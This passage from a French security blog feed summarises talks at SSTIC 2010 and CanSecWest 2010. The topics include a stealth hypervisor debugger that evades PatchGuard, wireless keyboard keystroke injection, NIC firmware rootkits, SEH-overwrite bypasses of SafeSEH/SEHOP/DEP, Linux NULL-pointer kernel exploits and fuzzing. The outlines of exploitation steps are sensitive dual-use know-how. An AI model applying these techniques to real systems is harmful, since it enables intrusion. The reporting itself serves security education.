&lt;li&gt;utilisation d'une carte &quot;PCMCIA&quot; pour communiquer avec le &quot;DMA&quot; (voir &lt;a href=&quot;http://www.sstic.org/2008/presentation/Voyage_au_coeur_de_la_memoire/&quot; hreflang=&quot;fr&quot;&gt;SSTIC 2008&lt;/a&gt; et &lt;a href=&quot;http://www.sstic.org/2009/presentation/Compromission_physique_par_le_bus_PCI/&quot; hreflang=&quot;fr&quot;&gt;SSTIC 2009&lt;/a&gt;).
&lt;ul&gt;
&lt;li&gt;utilisation d'une &quot;CardBus&quot; avec un &quot;FPGA&quot; (utilisation de &quot;VHDL&quot; pour simuler un processeur &quot;MIPS&quot;).&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;utilisation d'un composant de type hyperviseur (&quot;driver&quot;). Virtualisation a chaud comme &quot;BluePill&quot; (pour l'instant, utilisation de VT-x uniqement).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Démo.&lt;/p&gt;


&lt;p&gt;Problème, charger l'hyperviseur pendant que &quot;PatchGuard&quot; ne regarde pas. Il ne regarde pas tout le temps certaines fonctions de l'&quot;IDT&quot;. Et ça marche. Hyperviseur de 600/800 lignes environ. Puis utilisation de &quot;Metasm&quot; pour parler le &quot;stub&quot; &quot;GDB&quot;.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;:
- debugueur furtif qui accède à tout en contournant les protections Windows
- traçage de code malicieux très haut niveau&lt;/p&gt;


&lt;h2&gt;16:30 - Analyse de programme par traçage&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Daniel Reynaud&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Jean-Yves Marion&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Wadie Guizani&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Dans cette présentation, les orateurs nous parlerons d'analyse dynamique de programmes à des fins d'aide à l'analyse statique. Les traces ont l'avantage d'être des objets &quot;propres&quot;. On peut décorréler deux tâches&amp;nbsp;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;extraction des traces&lt;/li&gt;
&lt;li&gt;analyse&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Utilisation de &quot;TEMU&quot; (basé sur &quot;QEMU&quot;) pour l'analyse dynamique, puis de &quot;Vine&quot; pour l'analyse statique. L'outil développé se nomme &quot;TraceSurfer&quot;, et il permet la détection des comportements d'auto-modification. Aujourd'hui, la grande majorité des programmes malicieux utilisent cette technique pour rendre difficile le &quot;reverse engineering&quot;. Grâce à l'outil &quot;TraceSurfer&quot;, la partie fastidieuse de suppression de l'auto-modification devient bien plus aisée.
L'outil permet la visualisation de la protection binaire mise en place (de type packers, UPX, Temida, ...). L'outil génère une trace d'exécution dynamique qui sera ensuite utilisée par un plugin &quot;IDA&quot;.&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: Voir aussi &quot;Pin&quot; (pintool.org) pour l'extraction des traces.&lt;/p&gt;


&lt;p&gt;&quot;TraceSurfer&quot;&amp;nbsp;: 160 lignes de C++ et 750 de Python.
Basé sur l'outil &lt;a href=&quot;http://pintool.org/&quot; hreflang=&quot;en&quot;&gt;Pin&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Code source&amp;nbsp;:
&lt;a href=&quot;http://code.google.com/p/tartetatintools/&quot; hreflang=&quot;en&quot;&gt;Tartetatintools&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://indefinitestudies.org/&quot; hreflang=&quot;en&quot;&gt;Indefinit Studies&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;17:00 - Intéressez vous au droit... avant que le droit ne s'intéresse à vous&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Eric Barbry (cabinet Alain Bensoussan) (conférence invitée)&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;L'année 2010 est exceptionnelle au niveau des modifications sur le droit de notre métier.
Description des casquettes du DSI/RSSI en 2009. Beaucoup de casquettes, et en plus du droit.
En 2010, le DSI/RSSI devrait devenir un juriste à cause de toutes ces nouvelles lois.
Nouvelle menace&amp;nbsp;: le phishing dans l'entreprise.
Voir les 10 conseils de la CNIL pour sécuriser son SI.&lt;/p&gt;


&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&amp;nbsp;: clause à 7000 € sur le Cloud computing est inacceptable.&lt;/p&gt;


&lt;p&gt;Une présentation &quot;style one-man-show&quot; qu'il est difficile de résumer ici.&lt;/p&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2010/06/14/Compte-rendu-SSTIC-2010-jour-1#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2010/06/14/Compte-rendu-SSTIC-2010-jour-1#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/16</wfw:commentRss>
      </item>
    
  <item>
    <title>Compte-rendu CanSecWest 2010 - jour 3</title>
    <link>http://www.protocol-hacking.org/post/2010/04/19/Compte-rendu-CanSecWest-2010-jour-3</link>
    <guid isPermaLink="false">urn:md5:9d56ca92c3d82444db97a312bf22c80f</guid>
    <pubDate>Mon, 19 Apr 2010 21:00:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Compte-rendu</category>
        <category>CanSecWest</category><category>conférence</category>    
    <description>    &lt;h3&gt;Friday March 26&lt;/h3&gt;


&lt;h2&gt;08:30 - 09:00  	Breakfast&lt;/h2&gt;


&lt;h2&gt;09:00 - 10:00 	Stuff we don't want on our Phones: On mobile spyware and PUPs - Jimmy Shah, McAfee, Inc&lt;/h2&gt;


&lt;p&gt;Chercheur en antivirus pour la mobilité.
Les spyware sous plateformes mobiles&amp;nbsp;:
- adware&amp;nbsp;: pas aussi intrusifs que sur PC
- PUP&amp;nbsp;: Potentially Unwanted Program, comme des serveurs Web ou FTP intégrés au téléphone. Mais aussi des programmes qu'une entreprise ne souhaite pas voir sur ses téléphones comme Metasploit, Aircrack, ...&lt;/p&gt;


&lt;p&gt;En Indes, le gouvernement a demandé un accès de type spyware aux téléphone Blackberry. Ils ont aussi réduit la taille des clés de chiffrement de 256 bits à seulement 40 bits. Ils ont aussi obtenu que les serveurs Blackberry soient en Indes, pour pouvoir monitorer le trafic. Le gouvernement a aussi prétendu avoir cracké le chiffrement &quot;non-corporate&quot;.&lt;/p&gt;


&lt;p&gt;Etisalat a poussé une mise à jour sur les Blackberry. Un reverse engineering a montré que cette mise à jour intégrait du lawful interception. Une copie des mails était envoyée à une adresse Etisalat. Ce reverse a été simplifié puisque l'update était au format .JAR, au lieu du format .COD.&lt;/p&gt;


&lt;p&gt;Une famille de vers iPhone (OSX/RRoll.A-B) modifiait l'image de fond et désactivait le démon SSH. L'auteur était Ashley &quot;ikex&quot; Towns.&lt;/p&gt;


&lt;p&gt;Attention, certains spywares sont distribués via Android Appstore (cas d'une App de banking).
Il existe aussi des Appstore alternatifs aux originaux, où le contrôle est difficile.&lt;/p&gt;


&lt;p&gt;Présentation sans intérêt, j'ai arrêté de la suivre à la moitié. En gros, il fait un historique des recherches en développement spyware pour téléphones mobiles faites par d'autres, et présentées à BlackHat et autres conférences (Spyphone (iPhone), Phonesnoop (Blackberry)).&lt;/p&gt;


&lt;p&gt;A noter aussi un PoC de botnet (WeatherFistBadMonkey), mais jamais releasé. Envoi des emails, fait du DDoS et fournit un reverse shell.&lt;/p&gt;


&lt;p&gt;La présentation s'est achevée parce que l'ordinateur de l'orateur n'avait plus de batterie ... à 10 minutes de la fin. Un mec de l'organisation est venu l'aider pour rétablir le courant. Ça donne le niveau. Sur le mur tweeter de CanSecWest, les gens se lâchent sur la présentation. Je ne suis pas le seul à l'avoir trouvé pourri.&lt;/p&gt;


&lt;h2&gt;10:00 - 10:30 	Second Breakfast&lt;/h2&gt;


&lt;h2&gt;10:30 - 11:30 	Practical Exploitation of Modern Wireless Devices - Thorsten Schroeder and (contributing) Max Moser, Dreamlab Technologies&lt;/h2&gt;


&lt;p&gt;Les gars sont du Dreamlab Technologies et de remote-exploit.&lt;/p&gt;


&lt;p&gt;C'est un talk sur l'injection et l'écoute de données pour les claviers sans fils basés sur les fréquences 27 MHz.
Keykeriki est un petit dispositif hardware, ils ont aussi fait le firmware.
Le talk n'aborde pas l'infrarouge ou les technologies bluetooth.&lt;/p&gt;


&lt;p&gt;Ça parle des communications en sens unique sur 27 MHz. Le protocole n'a pas de support pour le chiffrement (enfin c'est à la charge du fabriquant d'implémenter çà), et les messages ne sont pas protégés contre le rejeu. Ils ont reversé le protocole des claviers Logitech et Microsoft. Chaque frappe au clavier provoque l'envoi d'un paquet avec le keyboard ID, la touche, et l'état (appuie ou relâche).&lt;/p&gt;


&lt;p&gt;Ils ont releasé la V1 de Keykeriki en may 2009, et il pouvait juste sniffer les claviers Microsoft, Seimens-Fujitsu et Logitech. Une SDCard pour le stockage des données, et du cracking à la volée du chiffrement. L'injection était limité, parce que certains bits du protocole n'était pas encore vraiment reversé.&lt;/p&gt;


&lt;p&gt;Nordic Semi NRF24xxx permet d'avoir un receiver, et jusqu'à 6 appareils connectés (concept du multiceiver). Le protocole supporte un CRC (mais optionnel). Pour sniffer, il faut tout d'abord trouver l'adresse de l'appareil. Il faut identifier le préambule, et seulement ensuite on peut trouver cette information. Cette-ci est sur 5 bytes. et le préambule fait 8 bits. Un heuristique est utilisé pour trouver cette adresse, avec un certain niveau de False Positive. Keykeriki a une interface JTAG pour le débogage.&lt;/p&gt;


&lt;p&gt;Microsoft utilise du crypto hardware AES-128 dans ses claviers. Ensuite, une explication sur les différents paquets et leur format. Les claviers Logitech utilisent aussi le chiffrement AES-128.&lt;/p&gt;


&lt;p&gt;Note&amp;nbsp;: certains appareils utilisés pour le vote sont basés sur ce genre de hardware. Certains appareils sont aussi présents dans les voitures.&lt;/p&gt;


&lt;p&gt;Démo sur un clavier Micorosoft, remote command execution par injection de frappes clavier. Ce n'est pas du simple replay, ils ont implémenté les fonctions d'un vrai clavier. Injection possible jusqu'à 75 mètres ...&lt;/p&gt;


&lt;p&gt;Ils ont l'intention de fournir une version gratuite et une version commercial du produit, ainsi qu'un module Wireshark. Toutes les infos sur http://www.remote-exploit.org/.&lt;/p&gt;


&lt;h2&gt;11:30 - 12:30 	RFID Hacking at Home - Dr. Melanie Rieback, Vrije Universiteit Amsterdam&lt;/h2&gt;


&lt;p&gt;Elle bosse dans le lab ubisec, Security in Ubiquitous Computing.
C'est le même genre de travail qui a été fait dans la présentation précédente.&lt;/p&gt;


&lt;p&gt;Les menaces à prendre en compte&amp;nbsp;:
- lecture non autorisée
- clonage
- DoS
- tracking
- écoute&lt;/p&gt;


&lt;p&gt;Existe-t-il des malwares pour RFID&amp;nbsp;?
- exploits
- vers
- virus
Via l'exploitation de buffer overflow dans le format des messages. Rien de connu pour l'instant.&lt;/p&gt;


&lt;p&gt;Note&amp;nbsp;: utilisation de Google Trend pour voir l'évolution d'un sujet (comme RFID malware).&lt;/p&gt;


&lt;p&gt;Elle bosse sur un dispositif nommé RFID Guardian. Un dispositif mobile de pentesting et firewalling pour RFID. C'est un projet vendor-neutral, tout est disponible sur http://rfidguardian.org/. Le but est de montrer au monde que les RFID ne sont pas suffisamment sécurisés. Le dispositif coûte dans les 500 euros à fabriquer. Le bootloader est GPL. Ils cherchent des sociétés qui voudraient collaborer avec eux.&lt;/p&gt;


&lt;p&gt;Fonctionnalités:
- emulation de tag RFID
- attaques de rejeu
- attaques de relai
- selective jamming
- tag spoofing
- RFID firewall (ACL)
=&amp;gt; n'autoriser que les bonnes personnes à accéder au tag RFID
=&amp;gt; mais ça n'empêche pas une personne d'écouter le trafic.
- implémentation de SSL. Ça marche, mais c'est très lent
- RFID fuzzing (Bstorm)&lt;/p&gt;


&lt;h2&gt;12:30 - 13:30 	Lunch&lt;/h2&gt;


&lt;p&gt;Remise des prix de PWN2OWN, les gagnants se voient remettre un super laptop et un gros chèque de 10,000 CAD.&lt;/p&gt;


&lt;h2&gt;13:30 - 14:30 	Advanced Mac OS X Physical Memory Analysis - Matthieu Suiche&lt;/h2&gt;


&lt;p&gt;Il a créé sa propre société MoonSols. Spécialisé dans le forensics. C'est notamment l'auteur du Sandman framework et de Windd.&lt;/p&gt;


&lt;p&gt;Pourquoi&amp;nbsp;? La mémoire non-volatile ne suffit pas.
Actuellement uniquement base sur x86 (32-bits) Mac OS X. Uniquement de l'acquisition basée sur du software. En hardware, le mapping mémoire n'est pas le même.&lt;/p&gt;


&lt;p&gt;Accès à la mémoire physique&amp;nbsp;:
- soit accès au /dev/mem, mais c'est désactivé par défaut (et on ne peut pas rebooter, c'est du live forensics)
=&amp;gt; donc utilisation bcopy_phys()
- soit utiliser l'hibernation (Safe Sleep)&lt;/p&gt;


&lt;p&gt;Safe Sleep&amp;nbsp;: créé une image compressée (format WKDM). Et peut éventuellement être chiffré (mais désactivable sans rebooter). Le but de l'analyse est d'éviter la recherche de chaine en mémoire de manière aléatoire. Méthodologie:
- recherche des symboles kernel
- initialisation du gestionnaire de mémoire
- parcourir l'espace d'adressage virtuel du kernel
- collecter l'information.&lt;/p&gt;


&lt;p&gt;On obtient&amp;nbsp;:
- la liste des threads
- les processus
- information sur la machine
- les descripteurs de fichiers
- des informations réseau
- des fichiers ouverts et leur contenu
- des mots de passe
...&lt;/p&gt;


&lt;p&gt;Windows stocke les symboles dans des fichiers séparés (.PDB). Sous Mac OS X, ils sont stockés dans l'exécutable kernel. Pour lire les données d'adresse des symboles kernel, ils faut utiliser une formule de conversion. S'ensuit une description du parcours de l'espace d'adressage virtuel. Maintenant, on a les sympboles kernel et le gestionnaire de mémoire est initialisé, tout l'espace mémoire kernel est maintenant parcourable.&lt;/p&gt;


&lt;p&gt;D'abord récupérer les informations de version du système. Puis la liste des systèmes de fichier. La liste des extensions kernel via le parcours de la liste chainée kmod. Puis la liste des processus BSD via la structure kernproc, ainsi que les informations associées dans la structure de données du processus. Reconstruction de la syscall table.&lt;/p&gt;


&lt;p&gt;Détection de rootkit&amp;nbsp;: si un offset dans une entrée syscall n'est pas dans les symboles kernel, y'a un soucis ^^&lt;/p&gt;


&lt;p&gt;Démo. Commandes info (version du kernel, mémoire, CPU), mount (listage des filesystems avec leur mountpoints). syscall pour la syscall table (avec offset associés, et si l'entrée est correcte pour détecter la modification d'une entrée comme par du hooking). kext pour avoir la liste des extensions kernel. ps pour la liste des processus avec parent ID. On peut &quot;zoomer&quot; sur un processus via la commande pid. Puis démo en zoomant sur le processus loginwindow. Une simple commande exploite une faiblesse de ce programme divulguée début 2008 qui affiche en clair le mot de passe utilisé pour se loguer.&lt;/p&gt;


&lt;p&gt;Site&amp;nbsp;: http://www.moonsols.com/
Twitter&amp;nbsp;: msuiche&lt;/p&gt;


&lt;h2&gt;14:30 - 15:30 	Full Process Analysis and Reconstitution of a Virtual Machine from the Native Host - James Butler, MANDIANT&lt;/h2&gt;


&lt;p&gt;Une présentation qui se rapproche très fortement de la précédente. Cette fois c'est sous Windows que ca se passe.
Il fait l'historique des dispositifs hardware permettant un accès à la mémoire physique (PCI, bus DMA, PCMCIA, ...). Ensuite les méthodes software (BSoD, \\.\DebugMemory, ...). Il n'est plus possible aujourd'hui depuis un processus userland d'avoir accès à la mémoire physique (Doh!).
Outils&amp;nbsp;: Windd (Matthieu Suiche), Memoryze (MANDIANT).
Description du mécanisme de translation d'adresse mémoire sous x64. Des pages de débogueur kernel Windows.&lt;/p&gt;


&lt;p&gt;VMSafe (disponible dans VMWare vSphere) fournit de l'introspection de la mémoire et de l'état des CPUs, du filtrage des paquets réseau, monitoring et contrôle complet des processus, montage des filesystems depuis le guest sur le host. XenAccess tente d'implémenter les même fonctions.&lt;/p&gt;


&lt;p&gt;Démo. Son outil se branche sur une machine virtuelle VMWare en cours d'exécution (un guest Windows). Il se branche sur le fichier .vmem que VMWare utilise pour ses machines en cours d'exécution. Donc, outil est vraiment poussé, beaucoup de choses sont explorés dans la mémoire des processus.&lt;/p&gt;


&lt;p&gt;Vraiment trop orienté Windows internals, je n'ai pas vraiment suivi (désolé Charles). L'orateur n'était pas aussi didactique que le précédent.&lt;/p&gt;


&lt;h2&gt;15:30 - 16:00 	Break&lt;/h2&gt;


&lt;h2&gt;16:00 - 17:00 	Through the Looking Glass: An Investigation of Malware Trends and Response Activity - Jeff Williams, Microsoft&lt;/h2&gt;


&lt;p&gt;Historique de la détection des botnets. Puis zoom sur le malware Win32/Waledac.
Il parle de la bêtise des utilisateurs qui cliquent sur n'importe quel lien.
Waledac installe aussi automatiquement d'autres malwares une fois la machine infectée.
S'ensuit une énumération d'autres malwares ainsi que leur distribution à travers le monde.
L'idée est que chaque botnet est distribué de manière différente à travers le globe. Certains sont plus répandus en Russie, d'autres en Chine, d'autres encore aux États-Unis.&lt;/p&gt;


&lt;p&gt;Tous les botnets n'utilisent pas le même canal de C&amp;amp;C&amp;nbsp;: IRC, HTTP, P2P, autre.&lt;/p&gt;


&lt;p&gt;Waledac est un acteur majeur de production de spam. Son canal de C&amp;amp;C se base sur différents protocole&amp;nbsp;: HTTP, P2P et l'architecture est basé autour d'une structure hiérarchique de type fast-flux DNS. Tous les domaines sont en .com. Microsoft a bossé avec Verisign (gestionnaire des .com) et les forces de l'ordre pour couper ce botnet. Ce botnet possède un middle-tier pour masquer la tête du réseau. Cette opération s'est appelée &quot;Operation b49&quot;.&lt;/p&gt;


&lt;p&gt;Cela a créé un précédent&amp;nbsp;: le shutdown de certains domaines. Pour la première fois, on a montré qu'un botnet basé sur du P2P pouvait être contrôlé par une autre personne que le hurder.&lt;/p&gt;


&lt;p&gt;Maintenant, grâce aux enseignements de cette opération, Microsoft lance le projet MARS (Micrososft Active Response for Security) pour couper le plus de botnet possible. Des centaines de milliers d'heures de ressource humaines sur ce projet.&lt;/p&gt;


&lt;p&gt;Présentation était très courte et sans détails techniques, en forme de &quot;Microsoft sauveur du monde&quot;.&lt;/p&gt;


&lt;h2&gt;17:00 - 18:00 	The Jedi Packet Trick takes over the Deathstar: taking NIC backdoors to the next level - Arrigo Triulzi, Independent Security and Networking Consultant&lt;/h2&gt;


&lt;p&gt;Le speaker est loin, il est connecté via Skype. Talk originellement donné à PacSec 2008.
Il a découvert par hasard que le NIC faisait du checksum offloading. Il s'est posé la question&amp;nbsp;: peut-on en tirer quelque chose&amp;nbsp;?
Il utilise une carte Broadcom (Tigon, basé sur un processeur MIPS), avec un firmware téléchargeable sur le site du fabriquant. L'idée est d'implémenter une attaque depuis une carte NIC1 vers une carte NIC2. Une carte n'a pas l'habitude de gérer une attaque venant de l'intérieur. Via PCI-to-PCI.
Comment créer un rootkit directement dans une carte&amp;nbsp;?&lt;/p&gt;


&lt;p&gt;Pré-requis&amp;nbsp;:
- NIC1 pour communication externe
- NIC2 pour communication interne
- nVidia GPU (on dirait que l'attaque repose en grande partie sur le fait qu'il y ait un kit de développement nVidia)
- EFI BIOS&lt;/p&gt;


&lt;p&gt;nicssh utilise plusieurs fonctions&amp;nbsp;: findnic pour trouver une autre carte en scannant le bus PCI. grabnic pour injecter un firmware sur une carte vulnérable. forward pour mettre en place du forwarding de paquets. Il y a aussi nicfw (le firmware modifié).&lt;/p&gt;


&lt;p&gt;La possibilité de faire du remote update nécessitait des droits admin. Cela fonctionne en envoyant un WOL suivi d'un message UDP dans un format particulier. Mais pousser un firmware via UDP est risqué, on risque de perdre des morceaux.&lt;/p&gt;


&lt;p&gt;En gros, il injecte un nouveau firmware à distance, et ouvre un shell sur la carte réseau ...&lt;/p&gt;


&lt;p&gt;Amélioration suivante, utiliser un module EFI pour charger nicssh 2.0 sur la NIC. Ce module chargera le nouveau firmware et installera nicssh sur le GPU. Le but final étant d'obtenir la persistance pour se protéger contre le re-flashing de la NIC. Le module EFI est stocké dans le SATA pour gérer ca.&lt;/p&gt;


&lt;p&gt;Ces problèmes de sécurité viennent de failles crypto, d'une mauvaise gestion des clés (PKI FAIL). Une autre idée est d'utiliser les ucode pour mettre à jour les CPU (les errata). Les updates de ucode ne sont pas persistantes lors des reboots. EFI est encore la solution. C'est encore du work-in-progress, plein de choses sont encore à explorer dans ce domaine.&lt;/p&gt;


&lt;h2&gt;18:00 - 19:00 	C8H10N4O2 and C2H6O (and teardown)&lt;/h2&gt;</description>
    
    
    
          <comments>http://www.protocol-hacking.org/post/2010/04/19/Compte-rendu-CanSecWest-2010-jour-3#comment-form</comments>
      <wfw:comment>http://www.protocol-hacking.org/post/2010/04/19/Compte-rendu-CanSecWest-2010-jour-3#comment-form</wfw:comment>
      <wfw:commentRss>http://www.protocol-hacking.org/feed/rss2/comments/14</wfw:commentRss>
      </item>
    
  <item>
    <title>Compte-rendu CanSecWest 2010 - jour 2</title>
    <link>http://www.protocol-hacking.org/post/2010/04/12/Compte-rendu-CanSecWest-2010-jour-2</link>
    <guid isPermaLink="false">urn:md5:8dfb90c0ed32688b7c6a1f020498022d</guid>
    <pubDate>Mon, 12 Apr 2010 21:00:00 +0200</pubDate>
    <dc:creator>GR</dc:creator>
        <category>Compte-rendu</category>
        <category>CanSecWest</category><category>conférence</category>    
    <description>    &lt;h3&gt;Thursday March 25&lt;/h3&gt;


&lt;h2&gt;09:00 - 10:00 	SEH overwrite and its exploitability - Shuichiro Suzuki, Fourteenforty&lt;/h2&gt;


&lt;p&gt;SEH overwrite est la méthode d'exploitation principale pour les programmes sous Windows. Il existe des méthodes de protection (DEP, SEHOP, SafeSEH). Sont-elles suffisantes&amp;nbsp;?
SEH est le système de gestion des exceptions employé sous Windows.
Il y a une liste chainée dans la pile. C'est une liste chainée gérant les exceptions.
Le classique stack overflow permet de ré-écrire le pointeur d'entrée de la liste des exceptions.
Suivi d'une description de la callstack quand une exception survient.
Description de SafeSEH. Et d'une faiblesse de SafeSEH. Il existe encore une zone exécutable dans la protection SafeSEH, et le but est de l'utiliser.
Il passe ensuite aux faiblesses de SEHOP (SEH Overwrites Protection).
Une autre protection nommée Hardware DEP empêche l'exécution de code dans l'attribut exécutable. Il y a aussi l'ASLR qui a de nombreux impacts sur SEH.
Il passe à l'explication du contournement de ces protections. L'idée pour contourner SEHOP est de reconstruire une chaine de gestion des exceptions valide.
Pour contourner le Hardware DEP, il utilise des méthodes de type return-into-libc et de return-oriented programming. Ne pas perdre de vue qu'on parle d'un stack overflow, et donc ces techniques fonctionnent.&lt;/p&gt;


&lt;p&gt;Liste des choses a faire&amp;nbsp;:
- re-créer la chaine SEH (bypass SEHOP)
- ré-écrire l'exception handler address dans un module non protégé SafeSEH
- créer une pile pour exécuter le code voulu (bypass Hardware DEP)
=&amp;gt; utilisation de memcpy() pour ensuite placer un code ou on veut
...&lt;/p&gt;


&lt;p&gt;Demo sous Windows 7. Bon, il nous lance un débogueur, et fait de l'exécution pas à pas pour bien tout comprendre sur un programme vulnérable.&lt;/p&gt;


&lt;p&gt;ASLR rend difficile la création d'une chaine SEH valide. Il rend aussi difficile de trouver les instructions utiles à une adresse fixe.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: cette présentation demande de fortes compétences en exploitation de failles sous Windows. Sans ca, c'est difficile de comprendre les tenants et les aboutissants. Pour terminer, il donne un tableau des conditions d'exploitation en fonction des différentes protections.&lt;/p&gt;


&lt;h2&gt;10:00 - 10:30 	Second Breakfast&lt;/h2&gt;


&lt;p&gt;Je reconfigure ma carte WiFi qui a décidé de ne plus fonctionner :/
Mise en place de connexion sur le bon AP, établissement de mon tunnel SSH préféré avec du DynamicForwarding pour éviter tout risque d'écoute de mon trafic. Vive les serveurs dédiés sur Internet.&lt;/p&gt;


&lt;h2&gt;10:30 - 11:30 	There's a party at ring0, and you're invited. - Julien Tinnes &amp;amp; Tavis Ormandy, Google&lt;/h2&gt;


&lt;p&gt;Ils bossent dans l'Information Security team de Google.
Il y a du sandboxing dans Google Chrome et Android.
Le talk est a propos du kernel comme cible des attaques de type local privilege escalation.
Deux types de bug kernel&amp;nbsp;: memory management corruption et bug de logique.
Exemple de bugs de logique&amp;nbsp;: CVE-2001-1384, CVE-2003-0123.
Exemple de bugs de mémoire&amp;nbsp;: CVE-2003-0961.
En milieu kernel, on contrôle tout l'espace d'adressage, on accède à la complexité de gestion de l'espace mémoire.
Exploiter le kernel sert par exemple à&amp;nbsp;: sortir de chroot(), contourner les MAC, contourner les vserver.
Pour bien se protéger, il vaut mieux utiliser un suite de protection kernel comme grsecurity.
Avant, ce genre d'attaque n'était pas très répendues sous Windows, mais cela change.
Très peu de remote kernel exploits pour Linux (publics en tout cas).
Certains bugs sont exploitables en remote via le Web browser (exemple&amp;nbsp;: faille dans le driver nVidia).
Grande surface d'attaque pour le kernel&amp;nbsp;: ioctls, devices, kernel parsers. Filesystems, network protocols, format des exécutables ...
Demo orientée kernel Windows.
Ils ont trouvé un moyen de placer le bit supervisor à 1 en exploitant une faille. Ce qui donne un accès au mode Virtaul-8086 (ring0?).
GDI a été deplacé du userland vers le kernelland pour des raisons de performances. Mais le GDI est ce qu'il y a de plus simple à exploiter à distance. Par exemple via IE, en accédant aux fonts (TTF) qui sont gérées via GDI.
Description d'une faille dans le parsing des fonts TTF (donc, code exécuté en ring0).
Description de l'exploitation des NULL pointer dereferences sous Linux.
Exemple d'une faille découverte par eux&amp;nbsp;: CVE-2009-2692. NULL pointer dereference en local via sock_sendpage. sock_sendpage à un modèle de fonctionnement fragile, puisque nécessite la MAJ de tous les modèles si on modifie certaines fonctions pointées dans la structure proto_ops.
Par exemple, pour une faille, une structure était initialisée à NULL. Il suffisait de placer son shellcode à NULL pour qu'il soit exécuté au lancement.
Puis ils ont trouvé un autre bug de même type&amp;nbsp;: CVE-2009-2698 dans udp_sendmsg.
Suivi d'un exemple d'exploitation pour fasync, une faille de type use-after-free.
Suivi d'un exemple d'exploitation sous NetBSD.
Explication sur la syscall interface sous Windows&amp;nbsp;: compliquée, instable, et non documentée. Vaste aussi (&lt;a&gt;&lt;/a&gt;300 sous Linux). Normalement seulement utilisé par du code Microsoft. Les syscall sont très vulnérable au fuzzing car peu résistants aux mauvaises entrées. Et comme le kernel parse des fonts, des pixmaps, la syscall interface est un excellent candidat au fuzzing. Plus facile de trouver des bugs en fuzzant la syscall sous Windows sur sous Linux.
Solution pour se protéger contre les privileges escalation&amp;nbsp;: TPE (Trusted Path Executables). Facile à contourner sous Linux, à moins d'utiliser grsecurity. Gagne en popularité sous Windows. Pour contourner cette protection; on peut utiliser des failles dans des programmes interprétés (Python, Perl, ...).
Autre solution&amp;nbsp;: le sandboxing, à base de chroot() et de ptrace() (lent et difficile à mettre en place). SECCOMP-based sandbox aussi (sera peut-être implémenté dans Chrome-Linux).
Mais si on ne peut protéger le kernel, l'utilisation de la virtualisation peut être une alternative.
Une autre bonne protection pour le kernel Linux est l'utilisation de PaX, qui utilise des techniques de limitation de permissions dans le kernel.&lt;/p&gt;


&lt;p&gt;Conclusion&amp;nbsp;: Si le kernel trust une donnée userspace, une faille de sécurité de type escalade de privilège existe. Cela vaut pour l'existence d'une donnée, mais aussi pour l'absence d'une donnée. En gros, c'était une liste d'exemple d'exploitation de bugs kernel sous Linux et Windows. Tavis est plus Windows, et Julien plus Linux.
La surface d'attaque kernel est grande et grossit de plus en plus. De plus en plus facile à atteindre en remote. La difficulté d'exploitation va de simple à très dur. Les technos de prévention d'exploitation en kernel sont aujourd'hui immatures.
En gros, les sandbox c'est bien, mais il y a toujours une surface d'attaque depuis la sandbox vers le kernel qu'il est difficile de protéger.&lt;/p&gt;


&lt;p&gt;Lien&amp;nbsp;: http://blog.cr0.org/2010/03/theres-party-at-ring0-and-youre-invited.html&lt;/p&gt;


&lt;h2&gt;11:30 - 12:30 	Babysitting an army of monkeys: an analysis of fuzzing 4 products with 5 lines of Python - Charlie Miller, Independent Security Evaluators&lt;/h2&gt;


&lt;p&gt;Fuzzing de 4 produits en 5 lignes de Python.
Fuzzing de PDF (Preview et Acrobat Reader).
Fuzzing de PPT (OpenOffice et PowerPoinet).
Dumb fuzzing&amp;nbsp;: faire des modifications sur un fichier correct.
Smart fuzzing&amp;nbsp;: utiliser des entrées créatives &quot;from scratch&quot;.
Compromis&amp;nbsp;: utilisation de dumb fuzzing avec de nombreux fichiers différents. Idée&amp;nbsp;: avec suffisamment de fichiers en entrée, on peut couvrir une grande surface des fonctionnalités offertes par le format.
Mais toujours la limitation du CRC et de la compression sur ces fichiers.&lt;/p&gt;


&lt;p&gt;Méthodologie&amp;nbsp;:
- download de plus de 80 000 fichiers PDF depuis Internet.
- Acrobat Reader + Valgrind sous Linux pour mesurer la couverture de code.
- réduit à ~1500 fichiers&lt;/p&gt;


&lt;p&gt;Le fuzzer de 5 lignes:
- change juste des bytes au hasard par des valeurs prisent au hasard.
- ne rien supprimer, ne rien ajouter.&lt;/p&gt;


&lt;p&gt;Utilisation de son framework de fuzzing parallèle (Tiamat).
Scripté par AppleScript et monitoring du CPU pour savoir quand lancer le fichier suivant. Enregistrement des crashs répétés.
Utilisation de libgmalloc (comme libefence) pour détecter les heap overflow sous Mac OS.
Utilisation de memcheck (outil Valgrind) pour simuler l'exécution de programme et enregistrer les opérations mémoire invalides. Détection sous Linux.
Crashwrangler classe les bugs en disant si ils sont exploitables ou pas.&lt;/p&gt;


&lt;p&gt;Le fuzzing est une histoire de filtrage. Filtrage des résultats pour les classer en crash, exploitables, ...
Recherche des crashs donnant des EIP uniques grâce à libgmalloc et Valgrind.
S'ensuit une liste de chiffres sur le classement, et le nombre de bugs exploitables au final. Lancement de plus de 3 millions de tests depuis 1500 fichiers PDF.&lt;/p&gt;


&lt;p&gt;Plus on fuzz un fichier unique, plus on trouve de faille exploitables:
500 =&amp;gt; 1;
1000 =&amp;gt; 2;
1500 =&amp;gt; 3;
2000 =&amp;gt; 4;
